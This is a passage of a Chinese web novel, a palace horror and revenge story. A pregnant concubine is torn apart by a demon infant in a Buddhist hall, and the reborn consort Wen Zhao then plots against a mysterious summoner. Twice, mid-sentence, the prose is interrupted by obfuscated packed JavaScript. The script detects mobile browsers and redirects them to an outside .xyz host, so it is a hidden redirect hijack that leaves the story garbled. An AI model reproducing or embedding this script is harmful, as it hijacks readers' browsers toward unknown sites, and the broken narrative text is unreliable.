梁婕妤怔在门槛,指尖的冰凉被一股突如其来的暖意驱散。方才那浓得化不开的阴寒与铁锈腥气,竟似被这扇门彻底隔绝在了身后。取而代之的,是满室流淌的、近乎实质的柔光。 佛堂内,灯火通明,不,是“慈光”普照。 无数盏莲花琉璃灯高悬,烛火并非寻常的明黄,而是温润如月华般的、带着淡淡暖金的色泽,将每一寸空间都浸染得圣洁而祥和。那光柔和却不昏暗,充盈着整个殿堂,将先前老太监所见可怖的幽绿鬼影驱散得无影无踪。空气中弥漫的不再是血腥与腐朽,而是清冽纯粹的檀香,丝丝缕缕,沁人心脾,仿佛能涤荡世间一切污浊与恐惧。 方才还狰狞流淌血泪的佛像,此刻在慈光的沐浴下,金身熠熠生辉,剥落的漆皮非但不见狰狞,反而像是自然剥落的古老金箔,透出一种沉淀千年的庄严与温和。它们依旧垂目,但那目光不再是穿透骨髓的阴冷审视,而是真真切切、充满悲悯的俯视,带着一种抚慰人心的力量,无声地洒落在她身上。 梁婕妤的心跳,从方才的惊惧欲裂,渐渐被一种难以言喻的暖流包裹,变得平缓而充满力量。她下意识地抚上自己尚未显怀的小腹,那里正孕育着她在深宫立足的全部希望与寄托。 就在这时,她的目光被经堂中央那巨大的紫檀木供桌牢牢攫住。 供桌之上,一尊白玉雕琢的观音像静静伫立。那观音并非寻常的净瓶杨柳法相,而是罕见的“多子多福”送子观音。菩萨面容温婉慈和至极,唇角含着普度众生的浅笑,怀中、膝上、足畔,依偎着、攀爬着、嬉戏着数个胖乎乎、粉雕玉琢的童子。 童子们神态各异,或憨态可掬,或天真烂漫,每一个都栩栩如生,肌肤莹润仿佛吹弹可破,眉眼间洋溢着纯净的喜悦。白玉在暖金烛光的映照下,流转着温润内敛的光华,将那“多子多福”的寓意烘托得无比鲜明而神圣。 梁婕妤的呼吸瞬间屏住了。一股巨大的、几乎要将她淹没的狂喜猛地冲上心头,瞬间驱散了所有残留的不安与疑虑。 老太监?血腥?方才门外感受到的一切,难道只是她忧思过甚产生的错觉?是了,定是佛祖显灵,特意在她彷徨无助的深夜,为她驱散阴霾,降下如此清晰明确的吉兆。 “天意……这是天意啊!”她几乎要喜极而泣,声音带着颤抖的哽咽,在这片祥和的佛光中显得如此虔诚而激动。 她不由自主地向前迈步,仿佛被那尊送子观音无形地牵引着,走向那象征着无尽福泽与希望的光明中心。腹中的胎儿似乎也感受到了这份神赐的喜悦,在她掌心下传来一阵微弱的悸动。 满殿佛像的垂目,此刻在她眼中,尽是无声的祝福;那流淌的暖金光芒,是佛国为她铺设的坦途。 她沉浸在巨大的幸福与对未来的憧憬里,全然未曾察觉,那供桌之下阴影最浓处的地面上,似乎有一小片未被完全照亮的、颜色格外深沉的污渍,正悄然蜿蜒,如同一条沉默的、通往幽冥的暗河。 突然,阴风四起。佛堂深处,那最初响起的、空空空空的木鱼声,骤然停歇。 绝对的死寂,比任何尖叫都更令人窒息。 那风来得毫无征兆,如同冰窖深处喷涌出的寒流,瞬间席卷了整个佛堂。满殿温暖如春的“慈光”被这阴风一激,竟猛地剧烈摇曳起来,莲花琉璃灯盏发出“哐啷啷”的碰撞脆响,光影疯狂晃动,将佛像庄严的金身切割成无数跳跃、扭曲的碎片。 梁婕妤脸上的狂喜瞬间冻结。 风声中,夹杂着一种极其细微、却又清晰无比的声音,是孩童的嬉笑。咯咯咯咯……清脆,空洞,并非发自那多子多福观音怀中的童子,而是从四面八方,从佛堂的每一个角落,甚至从那些垂目的佛像金身内部……渗透出来。 笑声越来越大,越来越密,层层叠叠,在空旷的殿堂里反复回荡,非但不显童真,反而透着一股令人毛骨悚然的邪异,仿佛无数看不见的婴灵正环绕着她,嬉闹追逐。 更让她魂飞魄散的是,供桌上那尊温润如玉、慈悲含笑的多子多福观音像。 在疯狂摇曳、忽明忽暗的烛光下,观音唇角那永恒不变的慈悲弧度,竟如同融化的蜡油般,极其缓慢地、极其诡异地……向上拉扯。 原本温婉的面容,在光影的切割中变得僵硬、诡异,那笑容越咧越大,越咧越深,最终竟变成一个咧到耳根、露出森森牙床的狞笑。白玉的光泽也在瞬间褪去,变得灰败死寂,如同蒙尘的尸骨。 “咯咯咯……嘻嘻嘻……”童子的笑声陡然拔高,变得尖锐刺耳。 梁婕妤惊恐的目光猛地投向观音怀中那些粉雕玉琢的童子,哪里还有什么纯净的喜悦? 那些胖乎乎的白玉童子,此刻肌肤寸寸皲裂,剥落处露出的不是血肉,而是污秽不堪的泥土与干枯的草茎。它们脸上天真烂漫的表情凝固、扭曲,眼窝深陷成两个漆黑的空洞,空洞里渗出粘稠的、暗红色的泥浆,如同血泪。 它们依旧攀附在观音身上,动作却变得僵硬诡异,带着一种贪婪的、啃噬般的姿态,白玉碎裂的嘴角也一同咧开,发出与那观音如出一辙的无声狞笑。那尊“多子多福”的圣像,瞬间化作了一群扒附在邪祟之上的、泥塑的、淌着血泥的鬼童。 “啊!!!”梁婕妤的尖叫终于冲破喉咙,却瞬间被更响亮的阴风与鬼童尖笑淹没。她踉跄着想要后退,逃离这瞬间化作魔窟的佛堂。 然而,晚了。 那股阴风如同有生命的巨蟒,猛地缠住了她的脚踝,冰冷刺骨的寒意瞬间穿透绣鞋,直刺骨髓。同时,她感到腹中一阵从未有过的、撕裂般的剧痛猛然袭来。那痛楚如此尖锐,如此陌生,仿佛有一只冰冷的手在她温暖的子宫里狠狠攥紧、撕扯。 “我的孩子……!”她失声痛呼,双手死死护住小腹,冷汗瞬间浸透了里衣。方才感受到的胎动喜悦,此刻化作了灭顶的恐惧。 就在这时,那供桌下蜿蜒的深色污渍,仿佛被阴风催动,猛地加速流淌,“唰”地一下延伸到她脚边。那根本不是污渍,而是粘稠得化不开的、散发着浓烈腥臭的人血。 血迹的尽头,赫然是莲花座下那团扭曲的阴影。老太监那拧转一百八十度的头颅,在剧烈晃动的惨绿光影中,那双死不瞑目的、凝固着极致恐惧的眼睛,竟直勾勾地“看”向了她因剧痛而扭曲的脸。 佛堂内,那温润的“慈光”在阴风的肆虐下,如同风中残烛般迅速熄灭、扭曲、变色……最终,竟悉数化作了最初那令人作呕的、幽幽的惨绿。 惨绿鬼火重新统治了空间。 在这地狱般的光线下,梁婕妤惊恐地看到,那些高踞佛龛之上的佛像,它们垂落的头颅……竟又开始了无声的转动。这一次,不再是细微的角度,而是极其缓慢、却又无比坚定地,将那些泥塑石雕的森然面孔,一点、一点地……完全扭转向了她。 万佛垂目?不,是万鬼凝视。那是来自子祭佛的贪念和阴沉。传说中的子祭佛,一佛现世,万佛沉沦为恶鬼。 无数双空洞、冰冷、毫无生气的石雕眼珠,在幽幽绿火的映照下,如同镶嵌在井壁上的、密密麻麻的死人眼瞳,带着万古的沉寂与无边的恶意,将她和她腹中遭受剧痛的生命,彻底囚禁在这片由鲜血、鬼笑和石像目光构成的炼狱之中。 那空空空空的木鱼声,又响起来了。 “娘!娘……” 那嘶吼并非婴孩的啼哭,而是刮擦着朽木与碎骨的、带着粘稠血沫的尖啸,刺穿了阴风与鬼童的狞笑,直直扎入梁婕妤残存的意识。 剧痛已将她撕扯得支离破碎,意识如同风中残烛。她涣散的瞳孔倒映着那从自己腹腔血污中站起来的“东西”。 那根本不是一个婴儿,它通体覆盖着湿滑、暗红的胎膜,四肢扭曲如枯枝,细小的骨节在薄皮下怪异地凸起。一条污秽发黑、滴着浓血的脐带,如同一条毒蛇,一头连在它蠕动的肚腹,另一头……还深深扎根在她破碎的子宫深处。 它没有眼睛,本该是眼窝的位置,只有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15908319|176822||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 两个不断渗出污血的、深不见底的黑窟窿。那张撕裂至耳根的嘴巴里,是密密麻麻、如同锯齿般的细碎尖牙,正开合着,发出那令人魂飞魄散的“娘”的尖啸。 它小小的、沾满血污和肠液的手爪,正死死抠抓着从梁婕妤腹腔拖拽出的、一段滑腻温热的肠子,如同把玩着新得的玩具。 “嗬…嗬…”梁婕妤喉咙里发出破风箱般的抽气声,她想尖叫,却只能呕出大股滚烫的鲜血,溅在那鬼婴污秽的身体上。 她感觉不到孩子的存在了,只感到一个冰冷、贪婪的怪物,正通过那根脐带,疯狂地吮吸着她最后一点残存的生命力。那不是孕育,是掠夺、是吞噬。 “呵…哒哒哒……”周围佛龛上那些泥塑的鬼童,笑声陡然变成了哭泣声,它们僵硬地拍打着开裂的泥手,空洞淌血的眼窝齐齐“盯”着那站在地上的怪物,它们在畏惧另一个更强大的邪祟。 那不是子祭佛……那究竟是什么东西……无人知晓。 第一缕惨白的晨光,怯生生地、带着试探的意味,从佛堂高窗的缝隙里渗了进来。它像一把迟钝的、沾满污垢的钝刀,艰难地劈开了殿内浓稠得化不开的黑暗与残留的惨绿鬼气。 死寂。 比夜更深、更沉、更令人窒息的死寂。 木鱼声早已停了,连同那些咯咯的鬼笑、刺骨的阴风、梁婕妤最后的惨呼……仿佛昨夜那场惊心动魄的炼狱,不过是这皇家佛堂做的一个漫长而污秽的噩梦。 只有空气中那浓烈得令人作呕的铁锈腥气,混合着檀香灰烬的陈腐,以及一种……脏器暴露在空气里太久后特有的甜腻腐败味,固执地宣告着一切并非虚幻。 光,一寸一寸,艰难地挪移着。 它首先照亮了佛堂中央那片巨大的、深褐近黑的污渍。那不是水渍,是凝固的、粘稠的血。它从供桌下蜿蜒而出,如同一条干涸的、通往地狱的暗河,最终汇聚在梁婕妤倒卧的地方。 梁婕妤仰面躺着,宫装被撕扯得凌乱不堪,腹腔处是一个巨大、狰狞的破口,边缘的皮肉翻卷着,呈现出一种被暴力撕开的、极不规则的形状。 肠管、破碎的脏器隐约可见,暴露在冰冷的晨光下,颜色是令人心悸的灰败。她的眼睛瞪得极大,瞳孔早已涣散,凝固着生命最后一刻所能承受的极致惊骇与剧痛,直勾勾地望着穹顶那些垂目的佛像,仿佛在无声地诘问。 她的双手,依旧死死地护在小腹的位置,只是那曾经孕育着希望和未来的地方,此刻只剩下一个血肉模糊的空洞。那根污秽发黑、本该连接着婴孩的脐带,此刻却孤零零地垂落在血泊边缘,断口处参差不齐,像是被什么野兽的利齿狠狠咬断。 而在她身侧不远处,老太监的尸体以一种匪夷所思的角度扭曲着,脖颈拧转了一百八十度,那张布满褶皱的老脸正对着梁婕妤空荡的腹腔,浑浊的眼珠几乎要凸出眼眶,同样凝固着深入骨髓的恐惧。他手中那盏破旧的灯笼,滚落在血泊里,糊满了暗红的污迹。 晨光继续蔓延,小心翼翼地爬上紫檀供桌。 满殿佛像,高踞莲台,垂目低眉,宝相庄严。金身在晨光中熠熠生辉,昨夜那无声扭转的森然头颅、密密麻麻如同井壁鬼眼的凝视,都已消失无踪。 它们沉默着,如同亘古不变的磐石,俯视着脚下这片新鲜的人间地狱,眼神里是千年不变的、冰冷的悲悯……或者,是漠然? 殿门被小心翼翼地推开一条缝,发出令人牙酸的“吱呀”声,打破了这令人窒息的死寂。一个提着水桶、负责洒扫的小太监,探头探脑地往里张望。 下一刻,刺破云霄的、非人的尖叫声猛地炸响,几乎掀翻了佛堂沉重的梁木。 “啊!!!死……死人啦!死人啦!!!” 水桶“哐当”一声砸在地上,污水四溅。小太监连滚带爬地摔出门槛,脸色惨白如纸,手脚并用地向外逃去,嘶哑的叫声在清晨空旷的宫道里疯狂回荡,惊起远处树梢上几只昏聩的乌鸦。 骚动,如同投入死水潭的石子,迅速在深宫冰冷的肌理下蔓延开来。杂乱的脚步声由远及近,侍卫沉重的甲胄碰撞声、宫人压抑的惊呼和议论声、管事太监尖利的呵斥声……迅速将佛堂围了个水泄不通。 “封锁!任何人不得进出!”侍卫统领的声音带着惊疑不定的铁锈味。 几个胆大的侍卫,强忍着胃里翻江倒海的恶心,屏息踏入佛堂。浓烈的血腥气扑面而来,几乎令人窒息。眼前的景象让他们这些见惯了刀光剑影的汉子也瞬间头皮发麻,脊背发凉。 “我的老天爷……”有人倒抽一口冷气。 “是梁婕妤?还有……守夜的王公公?” “这……这肚子……”另一个侍卫脸色煞白,看着梁婕妤腹部的惨状,喉头滚动,强压下呕吐的欲望。 此刻喧嚣声不断,温招才悠悠转醒…… 7. 007 温招昨夜睡在了栖梧宫的偏殿,一大早便听到嘈杂声,她揉了揉额头,走出了寝殿。 魑惊和柳含烟一同迎上来。“娘娘,梁婕妤昨夜死在了佛堂。”魑惊小心的打量着温招的神情。 温招神色如常,缓缓迈开步子,走进正殿,看着躺在软榻上熟睡着的常青,眼神中闪过一丝嫌弃,掏出一块巾帕,隔着巾帕推了推常青。 常青缓缓睁开了双眼,映入眼帘的是温招那平静的脸。“皇上……昨夜梁婕妤…在佛堂……毙了……”温招跪在地上,脊背却挺得笔直,故作慌张的开口。 常青骤然起身,眉头紧蹙,动作快得像一阵裹挟寒气的风。他一把扯过搭在屏风上的外袍,胡乱披上,系带的手指带着一种压抑的焦躁,骨节微微泛白。 “毙了?”他声音低沉,带着刚睡醒的沙哑,却像冰棱刮过地面,“佛堂?怎么回事?” 温招依旧跪得笔直,低垂的眼睫掩去了眸底所有情绪,只余下声音里恰到好处的惊惶与茫然:“臣妾也是方才得知……守夜的宫人早起洒扫,才发现梁婕妤她……已没了气息,身子都僵了……”她顿了顿,声音放得更轻,像怕惊扰了什么,“瞧着……像是……巫术?”最后两个字吐得极轻,带着一丝不确定的试探。 “摆驾!去佛堂!”常青的吼声在空旷的殿宇里回荡,带着不容置疑的威压。 栖梧宫瞬间被一种紧绷的死寂笼罩,只剩下常青急促的脚步声和宫人们屏息敛气的压抑呼吸。温招这才缓缓起身,动作优雅得如同拂去衣袖上并不存在的尘埃。 随后像是带着安抚的望了温招一眼:“招儿莫怕,有朕在。”随后头也不回的,离开了栖梧宫。 她看着常青消失在殿门外的背影,脸上那层薄薄的惊慌如同融雪般褪去,只剩下一种深潭般的平静,甚至带着一丝难以察觉的、冰凉的倦怠。 “招儿……” 这个称呼,像一根淬了蜜糖的毒针,猝不及防地刺入记忆深处。 上一世。 也是这般华美囚笼般的宫殿,红烛摇曳,锦帐低垂。她曾那样愚蠢地依偎在他怀里,听着他低沉的声音在枕畔响起,带着她误以为是独属的温柔,一遍遍唤她“招儿”。那时,他滚烫的呼吸拂过她的耳廓,她竟天真地以为,那是情之所至,是帝王难得的真心流露。她曾用尽毕生的力气去相信,去回应,去沉溺在那虚幻的暖意里,像扑火的飞蛾,献祭了自己所有的光热。 呵…… 温招的唇角,极其缓慢地向上弯起一个弧度。那不是愉悦的笑,而是从冻僵的心湖深处裂开的一道冰缝,溢满了无尽的荒诞与自嘲。 蠢。 真是蠢透了。 她无声地咀嚼着这个字眼,舌尖仿佛尝到了前世咽下的所有血泪。那血泪早已在时光的磨盘下碾成了齑粉,混着今生的算计与冰冷,重新凝固成她坚硬的心甲。 自古以来,帝王无情。龙椅上盘踞的,从来不是有血有肉的人,而是权力本身冰冷的化身。情爱?真心?不过是他们闲暇时用以逗弄宠物的精致点心,或是用以收买人心的廉价筹码。她温招,曾贵为良妃,温婉淑德,尽享独宠,到头来也不过是他权衡利弊时一颗随时可以舍弃的棋子,一场精心策划的阴谋里最完美的祭品。 她竟妄想在这浸透了阴谋、血腥与背叛的深宫泥沼里,捞取一丝真心? 她轻轻拂了拂衣袖上并不存在的灰尘,动作优雅至极,带着一种尘埃落定后的、近乎残忍的平静。 魑惊走进殿内,压低声音:“娘娘,皇后那边也安排好了。” 温招没有回应,只是用指尖轻轻捻了捻方才推过常青的那块素白巾帕,仿佛上面沾染了什么不洁之物。她随手将帕子递给魑惊,眼神示意了一下,魑惊立刻会意,将那帕子拢入袖中,动作隐秘。 午时的日光透过雕花窗棂,在地砖上投下斑驳的光影。消息如同长了脚的风,精准地送到了栖梧宫。 魑惊呈上一张素笺。温招展开,目光平静地扫过上面墨迹未干的字句: “秽乱宫闱,亵渎神明,私通妖邪,遭了天谴。”她顿了顿,指尖划过冰冷的纸面,每一个字都像淬了寒冰、淬了剧毒的钉子,狠狠钉在梁婕妤已然冰冷的名誉之上。“梁氏心术不正,行止不端,祸乱宫闱,引邪祟入体,自食其果。王公公忠心护主,不幸殉职。” “皇上……”魑惊的声音压得更低,带着一丝不易察觉的紧绷,“又因皇后殿前失仪,令其禁足三月……” 温招的目光终于从那纸荒谬的判词上抬起,望向窗外刺目的阳光。突然,一声极轻、极冷的嗤笑从她唇边逸出,如同冰珠滚落玉盘,瞬间打破了殿内压抑的沉寂。 好一个“自食其果”! 好一个“忠心护主”! 常青定然是查到了。查到了皇后那的草编娃娃。那粗鄙的巫蛊之术,便是“私通妖邪”的铁证。可他根本不在乎梁婕妤的死活。 那佛堂里真正的血腥恐怖,那绝非人力所能为的惨烈,都被这轻飘飘的“邪祟”二字一笔带过。他不愿动,也不能动尚书府。 皇后背后的保皇一派势力,如今在朝堂三股势力的微妙平衡中,虽处末端,却仍是支撑他龙椅不可或缺的一角。 在这种风雨飘摇、自身根基尚未完全稳固的时刻,常青断然不会自断一臂,为了一个已死的、无足轻重的妃子去撼动朝局。 这所谓的“禁足三月”,不过是一场心照不宣的表演。一方面,是做给梁婕妤身后那些或真心或假意的人看,以示“公道”,堵悠悠众口,出一口或许连他自己都未曾察觉的、被冒犯的闷气?另一方面,则是敲山震虎,小惩大诫,警告皇后及其背后的势力。 人命如草芥。 在这金碧辉煌、吃人不吐骨头的后宫之中,所谓的善恶黑白,不过是由权力书写、由利益粉饰的苍白符号。又有谁能真的拎得清?又有谁……在乎去拎得清? 温招的指尖无意识地摩挲着袖中冰冷坚硬的玉镯。那玉质温润,触手生凉。 就在这死寂的、连空气都仿佛凝固的瞬间。 “嗖!” 一道刺耳的破空声毫无征兆地撕裂了殿内的凝滞! 温招甚至来不及反应,只觉得额角猛地一痛!那痛感尖锐、冰冷,带着一股蛮横的冲击力,撞得她眼前金星乱冒,下意识地闷哼一声,身体不受控制地向后踉跄了半步。 “娘娘!”魑惊和柳含烟同时惊呼,脸色骤变,瞬间抢步上前。 温招抬手,指尖颤抖着抚上被击中的额角。那里传来清晰的钝痛,皮肤火辣辣的,想必已红了一片。她低头,目光森冷地投向脚边那个肇事的“凶器”。 一个金灿灿、沉甸甸的金元宝,正静静躺在光洁如镜的黑色地砖上,散发着冰冷而刺目的光芒。那光芒在殿内略显昏暗的光线下,竟显得有几分妖异。元宝上还残留着撞击的力道,微微滚动了一下,最终停稳。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15908320|176822||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 魑惊迅速俯身拾起,入手冰凉沉重,是十足十的赤金。她脸色难看至极,立刻扑到窗边向外张望。然而窗外庭院空空如也,只有几株修剪得宜的花木在微风中轻颤,连个鬼影都没有。那东西,竟像是凭空出现,精准地砸向温招的额头。 好,好得很,又是那个劳什子阮柿子!把她温招当软柿子捏是吧!温招此刻气的牙痒痒,对那个神出鬼没的阮柿子杀意又浓了几分。 魑惊握着那枚冰凉的金元宝,感受到主子身上散发出的、几乎要冻结空气的恐怖杀意,连呼吸都屏住了。柳含烟亦是脸色煞白,扶着温招手臂的手指微微用力,仿佛在无声地传递着支撑。 就在温招眼底的暴戾即将化为实质的指令时,魑惊的目光死死锁定了金元宝的底部。那里,并非光滑的金面,而是被一根细细的、几乎与金色融为一体的金线,极其精巧地缠绕捆绑着一小卷东西。 “娘娘!”魑惊的声音带着一丝不易察觉的颤抖,她几乎是屏着呼吸,用指尖极其小心地捻住那根金线,试图解开那卷东西。金线异常坚韧,她的指甲因为用力而微微泛白。 温招的杀意被这微小的阻碍强行拉回一丝。她猛地低头,森冷的目光如同淬毒的冰锥,钉在魑惊指尖的动作上。 终于,“嗒”一声轻响,金线被解开。魑惊用两根手指,如同拈起毒蛇的七寸,极其谨慎地将那卷从金元宝上解下的东西拈起。 那同样是一张纸,魑惊递给温招。墨色浓黑,力透纸背。那字迹狂放得近乎嚣张,龙飞凤舞,透着一股子全然不顾他人死活的恣意妄为。每一个笔画都像是醉汉挥毫,却又带着一种奇异的、不容置疑的力道,扑面而来一股浓烈的……混账气息。 “酉时三刻,聚欢阁。” 七个字。 没有称谓,没有缘由,只有时间地点,莫秒奇妙得令人发指。 柳含烟有些担心的望向温招:“可是上次那位阮公子?”毕竟上次那两枚沉甸甸的金元宝,如今还历历在目。 温招盯着那七个字,一动不动。 殿内死寂得可怕,连窗外风拂花叶的细微声响都消失了,只剩下三人压抑到极致的呼吸声。 一秒,两秒,三秒…… 一声极轻、极短促的气音,从温招的鼻腔里逸了出来。 不是冷笑,不是嗤笑,更像是什么东西绷紧到极致后,猝然断裂的、带着荒谬回响的余韵。 紧接着,那紧抿的、线条冷硬如冰刃的唇角,以一种极其缓慢、又极其诡异的弧度,向上弯了起来。 她笑了。 不是那种雍容华贵的浅笑,也不是前世面对常青时装出的温婉柔顺,更不是方才面对梁婕妤死讯和常青判词时那种深潭般的平静。 这笑容,带着一种近乎撕裂感的荒诞。 气到极致,怒到顶点,杀意沸腾如熔岩,却被这突如其来的、莫名其妙又充满了挑衅的“邀约”给硬生生噎住了。 就像你蓄积了毁天灭地的力量,正准备一拳轰出,对面却轻飘飘丢过来一个……金元宝?还附赠一张写着“来玩啊”的破纸条? “呵……” 一声短促的、带着明显颤音的嗤笑,终于从她唇齿间清晰地挤了出来。那笑声不大,却像冰锥划过琉璃,尖锐又刺耳,在死寂的殿内显得格外突兀。 魑惊和柳含烟惊疑不定地看着温招。温招……这是气疯了? “想给梁婕妤去垫棺材是吧,行,本宫成全你。” 8.008 “柳姑娘,劳烦帮本宫带几张土火纸。”温招此刻带着瘆人的笑意。柳含烟点点头,魑惊每当听到自家娘娘唤“柳姑娘”还是有些紧张的四处打量。 “本宫与柳姑娘前往便好。若有人来访,”她顿了顿,声音压低,字字清晰,如同冰珠砸在玉盘上,“便说本宫因梁婕妤此事受了惊,心神不宁,不见任何人。” “诺。”魑惊立刻躬身应诺,声音压得极低,没有有丝毫迟疑。 “走。”温招只吐出一个字,声音轻得像叹息,却带着千钧之力。 一人一魂来到那熟悉的狗洞前,温招打量了一番。残阳的光斜斜切过冷宫颓圮的宫墙,将那半米高的狗洞照得亮堂了些。 她没看柳含烟,目光落在狗洞内侧的砖壁上。那里光线最暗,苔藓也长得最厚,软腻腻的,像一层没刮净的腐肉。温招将土火纸铺在膝头,纸页粗粝,硌得掌心微痒。 指尖凝出一滴血液,悬在纸上时顿了顿。她画的不是寻常镇邪符,而是李婆记忆里的“绊魂锁”符纹扭曲如蛇,首尾相衔,中间缠着三道交错的阴纹,看着像孩童胡乱画的鬼画符,实则每一笔都勾连着幽冥地脉的阴气。 温招将画好的符纸叠成小小的三角,指尖在狗洞内侧那片最厚的苔藓上抠了抠,腐湿的绿苔下露出块松动的青砖。 她把纸三角塞进去,再将青砖归位,苔藓掩住缝隙,看上去与周遭再无二致。只是那砖缝里,隐隐有极细的阴丝缠上青砖,顺着地脉往深处钻去。 残阳彻底沉入宫墙后,冷宫的风陡然凉了三分。温招拍了拍膝头的纸灰,指尖那点血迹早已干涸,只留下淡褐色的印记,像枚洗不掉的咒痕。 “这绊魂锁认主,喜阳气,那‘阮柿子’必定会被捉到。”她侧头看柳含烟飘在半空的虚影,嘴角笑意未散,眼底却无半分暖意。 柳含烟的魂体在渐浓的暮色中微微波动了一下,无声地颔首,如同最忠诚的影子。 没有半分犹豫。温招撩起裙摆,动作干脆利落,带着一种近乎自虐般的决绝。昂贵的云锦绸缎被毫不怜惜地挽起,堆叠在腰间,露出下方素色的衬裙。 一人一魂,没有丝毫停留,如同两道融入暮色的幽影,直奔京城最繁华的心脏,金龙大街。 宫墙的森严与死寂被迅速抛在身后。越靠近金龙大街,空气便越加喧嚣、浑浊。暮色四合,华灯初上,整条金龙大街如同一条被点燃的、流淌着金红色熔岩的巨蟒,横卧在京城之中。 人声鼎沸,车马喧嚣。各色灯笼高悬,将街道照得亮如白昼,却也投下无数光怪陆离、扭曲晃动的阴影。绸缎庄、酒楼、银楼、香料铺…… 鳞次栉比,门面装潢得金碧辉煌,伙计们卖力的吆喝声此起彼伏,混杂着脂粉香、酒肉香、汗味、牲口味、还有各种食物煎炸烹煮的浓烈气息,形成一股庞大而粘稠的热浪,汹涌地扑面而来。 这是大钰王朝最鼎盛的浮华,是人间欲望最赤裸的蒸腾。宝马雕车香满路,笑语盈盈暗香去。锦衣华服的公子哥摇着折扇招摇过市,珠翠环绕的贵妇在仆从簇拥下挑选着时新货品,贩夫走卒在缝隙中吆喝穿行,醉醺醺的客人被花枝招展的姐儿们娇笑着从酒楼里扶出来…… 一片烈火烹油、鲜花着锦的盛世图景。 可温招在这盛世中,却格格不入。那些招摇的笑语、谄媚的吆喝、醉醺醺的调笑,汇成一片令人耳膜刺痛的、污浊不堪的噪音。 温招行走在这片灼热粘稠的欲望洪流之中,如同万年玄冰雕琢而成的人偶。周遭的喧嚣是沸水,她是沉底的寒石,格格不入,且散发着足以冻结沸水的森然寒意。 那些目光黏腻的、探究的、带着赤裸裸惊艳或淫邪的视线。如同无数只湿滑肮脏的触手,从四面八方缠绕过来,试图剥开她冰冷的伪装,窥探内里的血肉。 每一道目光落在身上,都像被爬行类冷血动物滑腻的鳞片刮过,激起一阵阵深入骨髓的厌恶和生理性的反胃。 她眼底的冰霜更厚了一层,几乎要凝成实质的冰刃,将那些胆敢窥视的眼球凌迟。 杀意,如同跗骨之蛆,在冰冷的躯壳下蠢蠢欲动,几乎要挣脱理智的束缚喷薄而出。捏碎这些蝼蚁的脖颈,该是何等快意?让这所谓盛世浮华的街道染上肮脏的血色,或许才能配得上它内里的腐朽。 但不行。至少现在不行。 就在那股冰冷的暴戾即将失控的临界点,她的目光扫过街边一个不起眼的角落。 一个简陋的竹架子支着,上面挂满了各式各样的面具。粗劣的彩绘,廉价的木料或纸壳,描绘着或狰狞、或滑稽、或故作神秘的鬼怪神佛。摊主是个缩着脖子的干瘦老头,正就着一盏昏暗的油灯,笨拙地修补着一个裂开的傩面。 那堆粗陋的面具,在满街的金碧辉煌中显得如此格格不入,却又像一道浑浊泥沼中偶然出现的、可供喘息的分隔线。 温招的脚步没有丝毫迟疑,径直走了过去。 她的靠近,让本就缩着脖子的摊主老头更是恨不得把头埋进胸口。这位衣着不凡却气息冻死人的主顾,比最凶的厉鬼面具还要骇人三分。他连大气都不敢喘,更别说抬头招呼。 温招的目光如同冰冷的探针,在那些面具上缓缓扫过。狰狞的鬼面?太刻意。滑稽的丑角?太低贱。故作高深的佛面?令人作呕。 最终,她的视线定格在最角落。 那是一个没有任何彩绘的素面面具。材质似乎是某种暗银色的薄金属,打磨得还算光滑,在周遭灯笼的暖光下泛着冷硬的、近乎月华般的幽光。面具的造型极其简单,没有任何五官的雕琢,只在双眼的位置开了两道狭长的、如同刀锋划开的缝隙。 冰冷,空洞,隔绝一切。 “这个。”温招开口,声音不高,却像冰珠砸在老头干枯的心坎上。 老头一个激灵,抖着手想去取那银色面具,手指却哆嗦得不听使唤。 温招没等他,自己伸手取了下来。指尖触碰到冰凉的金属,那感觉竟奇异地抚平了一丝被无数目光舔舐的烦躁。面具很轻,边缘打磨得还算圆润。 她没有试戴,甚至没有再看那摊主一眼。随手从袖中拈出几枚铜钱,那是她为了宫外行走特意准备的、最不起眼的散钱,指尖一弹。 “叮当”几声脆响,铜钱精准地落在老头面前那个盛着几枚破旧铜板的破碗里,没有一枚碰到碗沿或老头的手。 温招转身,将那个没有任何表情的银色面具,缓缓覆在脸上。 冰凉的金属隔绝了外界粘稠的视线,却无法隔绝那更粘稠的喧嚣与欲望的气息。 两人来到聚欢阁,温招的视线透过面具上两道狭长的缝隙,眼前金碧辉煌的聚欢阁大厅,如同隔着一层晃动的、浑浊的水幕。 入目皆是靡靡。 巨大的厅堂被无数琉璃灯照得亮如白昼,晃得人眼晕。空气里浓郁的脂粉香、陈年酒气、还有男女体味混合的甜腻暖风,几乎凝成实质的纱幔,沉沉地压在口鼻之上,令人窒息。 大厅中央,一群宽袍大袖的所谓“文人墨客”,正借着酒意挥毫泼墨。墨汁淋漓,落在上好的宣纸上,嘴里吟哦着或矫情、或酸腐、或故作狂放的诗词,引来周遭一群衣着华丽、浓妆艳抹的姐儿们夸张的娇笑与奉承。那些诗句在温招听来,不过是醉鬼的呓语,字字句句都透着附庸风雅的空洞与虚伪。 角落的软榻上,依偎着几对衣着光鲜的男女。富家公子哥儿的手不安分地在小姐们纤细的腰肢上游走,小姐们则半推半就,粉面含春,眼波流转间尽是刻意撩拨的风情。低语浅笑,耳鬓厮磨,空气里流淌着廉价的情欲,像糖精熬煮的蜜汁,甜得发齁,也腻得发慌。 